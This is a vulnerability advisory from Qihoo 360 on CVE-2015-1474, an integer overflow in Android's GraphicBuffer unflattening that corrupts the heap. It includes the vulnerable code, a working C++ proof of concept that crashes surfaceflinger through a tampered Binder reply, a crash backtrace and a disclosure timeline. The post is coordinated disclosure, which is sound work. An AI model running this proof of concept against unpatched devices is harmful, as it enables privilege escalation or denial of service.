03月12, 2015

Integer overflow leading to heap corruption while unflattening GraphicBuffer In Android(CVE-2015-1474)

############################################################################# # # QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/ # ############################################################################# # # CVE ID: CVE-2015-1474 # Product: Android # Vendor: Google # Subject: Integer overflow leading to heap corruption while unflattening GraphicBuffer # Effect: Gain privileges or cause a denial of service # Author: Guang Gong # Date: March 11th 2015 # ############################################################################# Introduction ------------ Multiple integer overflows in the GraphicBuffer::unflatten function in platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0 allow attackers to gain privileges or cause a denial of service (memory corruption) via vectors that trigger a large number of (1) file descriptors or (2) integer values. Affected Android version ---------- all versions below Lollipop 5.1 Patches ------- Android Bug id 18076253 There are two patches for this vulnerabilities, the first patch for this issue is uncomplete. [1]https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2]https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 Description ----------- The vulnerable code is as follows.

native_handle_t* native_handle_create(int numFds, int numInts)
{
    native_handle_t* h = malloc(
            sizeof(native_handle_t) + sizeof(int)*(numFds+numInts));//---------------> integer overflow here, numFds and numInts can be controlled by normal Apps.

    h->version = sizeof(native_handle_t);
    h->numFds = numFds;
    h->numInts = numInts;
    return h;
}
status_t GraphicBuffer::unflatten(
        void const*& buffer, size_t& size, int const*& fds, size_t& count) {
…
        native_handle* h = native_handle_create(numFds, numInts);
        memcpy(h->data,          fds,     numFds*sizeof(int));    //---------------->heap corruption hear.
        memcpy(h->data + numFds, &buf[8], numInts*sizeof(int));
…

Attack vector ------------- A normal Apps can corrupt the heap in surfaceflinger and system_server by this vulnerabilities. the PoC of corrupting the heap of surfaceflinger is as follows

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

using namespace android;
class MyBufferQueue:public BufferQueue{
    public:
        status_t onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags){
            status_t ret = BnGraphicBufferProducer::onTransact(code,data,reply,flags);
            if(code==1){
                int *data = (int *)reply->data();
                int *numFDs = data+9;
                *numFDs=0xfffffffd;
            }
            return ret;
        }
};
int main()
{
    sp proc(ProcessState::self());
    proc->startThreadPool();

    const String16 name("SurfaceFlinger");
    sp composer;
    getService(name, &composer);

    uint32_t w, h;
    PixelFormat f;
    sp display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain));
    sp bufferQueue = new MyBufferQueue();
    sp cpuConsumer = new CpuConsumer(bufferQueue, 1);
    status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL);
    if (err != NO_ERROR) {
        fprintf(stderr, "screen capture failed: %s\n", strerror(-err));
        exit(0);
    }
    printf("screen capture success\n");
    IPCThreadState::self()->joinThreadPool();
    return 0;
}

How to corrupt the heap of system_server put a malformated GraphicBuffer in a Bundle, and then send it to system_server via setApplicationRestrictions. it’s the same way as CVE-2014-7911. The crash backtrace

  55 --------- beginning of crash
  56 F/libc    (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xb1000000 in tid 15504 (surfaceflinger)
  57 I/DEBUG   (  180): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
  58 I/DEBUG   (  180): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'
  59 I/DEBUG   (  180): Revision: '11'
  60 I/DEBUG   (  180): ABI: 'arm'
  61 I/DEBUG   (  180): pid: 15504, tid: 15504, name: surfaceflinger  >>> /system/bin/surfaceflinger <<<
  62 I/DEBUG   (  180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xb1000000
  63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504
  64 I/DEBUG   (  180):     r0 b1000000  r1 b6be41ec  r2 ff81eff0  r3 00000004
  65 E/DEBUG   (  180): AM write failure (32 / Broken pipe)
  66 I/DEBUG   (  180):     r4 b647ac00  r5 fffffffd  r6 b6302150  r7 00000050
  67 I/DEBUG   (  180):     r8 bef65734  r9 bef65738  sl bef6573c  fp b081f070
  68 I/DEBUG   (  180):     ip 80000000  sp bef656f0  lr b6c6cfb7  pc b6eb2e30  cpsr a00f0030
  69 I/DEBUG   (  180):
  70 I/DEBUG   (  180): backtrace:
  71 I/DEBUG   (  180):     #00 pc 0000fe30  /system/lib/libc.so (__memcpy_base+91)   ------------------------->memcpy cause heap corruption
  72 I/DEBUG   (  180):     #01 pc 00005fb3  /system/lib/libui.so (android::GraphicBuffer::unflatten(void const*&, unsigned int&, int const*&, unsigned int&)+98)
  73 I/DEBUG   (  180):     #02 pc 00025e09  /system/lib/libgui.so
  74 I/DEBUG   (  180):     #03 pc 0001e985  /system/lib/libbinder.so (android::Parcel::read(android::Parcel::FlattenableHelperInterface&) const+176)
  75 I/DEBUG   (  180):     #04 pc 0002638d  /system/lib/libgui.so
  76 I/DEBUG   (  180):     #05 pc 0002adc3  /system/lib/libgui.so (android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226)
  77 I/DEBUG   (  180):     #06 pc 0002aa81  /system/lib/libgui.so (android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*, ANativeWindowBuffer**)+32)
  78 I/DEBUG   (  180):     #07 pc 000175cf  /system/lib/libsurfaceflinger.so
  79 I/DEBUG   (  180):     #08 pc 0001b80f  /system/lib/libsurfaceflinger.so
  80 I/DEBUG   (  180):     #09 pc 000158f5  /system/lib/libsurfaceflinger.so
  81 I/DEBUG   (  180):     #10 pc 00010907  /system/lib/libutils.so (android::Looper::pollInner(int)+410)
  82 I/DEBUG   (  180):     #11 pc 000109f9  /system/lib/libutils.so (android::Looper::pollOnce(int, int*, int*, void**)+92)
  83 I/DEBUG   (  180):     #12 pc 00015ad1  /system/lib/libsurfaceflinger.so
  84 I/DEBUG   (  180):     #13 pc 0001675d  /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8)
  85 I/DEBUG   (  180):     #14 pc 0000083d  /system/bin/surfaceflinger
  86 I/DEBUG   (  180):     #15 pc 0000f811  /system/lib/libc.so (__libc_init+44)
  87 I/DEBUG   (  180):     #16 pc 000008d8  /system/bin/surfaceflinger
  88 I/DEBUG   (  180):
  89 I/DEBUG   (  180): Tombstone written to: /data/tombstones/tombstone_01
  90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox (SYSTEM_TOMBSTONE)
  91 I/ServiceManager(  176): service 'SurfaceFlinger' died
  92 I/ServiceManager(  176): service 'display.qservice' died

Milestones ----------

Date Comment Sender
20/10/2014 Initial Report of CVE-2015-1474 Qihoo
22/10/2014 Forwarded to the dedicated Team by Google Google
04/11/2014 Classified it as a high severity vulnerability Google
06/11/2014 Get the Android Bug ID 18076253 Google
10/2/2015 Notify it’s fixed and send the CVE-ID Google
16/2/2015 Tell Google the first patch was uncomplete Qihoo
18/2/2015 Submitted the second patch Google
11/3/2015 Lollipop 5.1 was released, disclose it Qihoo

References ---------- [1]https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2]https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 [3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474 [4]http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28

本文链接:http://blogs.360.cn/post/integer-overflow-leading-to-heap-corruption-while-unflattening-graphicbuffer-in-android.html

-- EOF --

Comments